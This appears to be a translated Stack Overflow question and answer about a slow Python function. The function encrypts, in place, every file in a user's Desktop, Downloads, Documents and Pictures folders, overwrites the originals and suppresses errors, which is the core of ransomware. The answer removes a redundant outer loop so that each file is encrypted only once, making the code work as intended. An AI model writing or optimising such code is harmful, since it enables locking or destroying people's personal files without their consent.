加密文件的功能需要很长时间才能完成

mR-*_*caj -1 python encryption

我有一个程序可以加密特定位置的文件。我为此构建了一个函数,它循环遍历存储我的文件的列表的长度,因此如果我有 12 个文件,它将循环 12 次。然后我循环遍历我的目录,打开每个文件以读取和写入字节并加密它们的数据并将其写入文件。

该函数工作正常,但我的问题是我的函数需要很长时间才能完成,我不知道为什么。

有什么方法可以提高我的功能的性能吗?

加密功能:

此功能需要很长时间才能完成。

def encrypt(self):
        for _ in range(0, len(files())):
            for file in files():
                try:
                    with open(file, 'rb+') as f:
                        plain_text = f.read()
                        cipher_text = self.token.encrypt(plain_text)
                        f.seek(0); f.truncate()
                        f.write(cipher_text)
                except Exception as e:
                    print(f'{e}')
Run Code Online (Sandbox Code Playgroud)

文件功能:

def files(pattern='*'):
    matches = []
    for root, dirnames, filenames in chain(os.walk(desktop_path), os.walk(downloads_path), os.walk(documents_path), os.walk(pictures_path)):
        for filename in filenames:
            full_path = os.path.join(root, filename)
            if filter([full_path], pattern):
                matches.append(os.path.join(root, filename))
    return matches
Run Code Online (Sandbox Code Playgroud)

Dan*_* D. 5

为什么要循环嵌套文件?

for _ in range(0, len(files())):
    for file in files():
Run Code Online (Sandbox Code Playgroud)

应该是公正的

for file in files():
Run Code Online (Sandbox Code Playgroud)

如果您有 12 个文件,旧代码​​会将每个文件加密 12 次。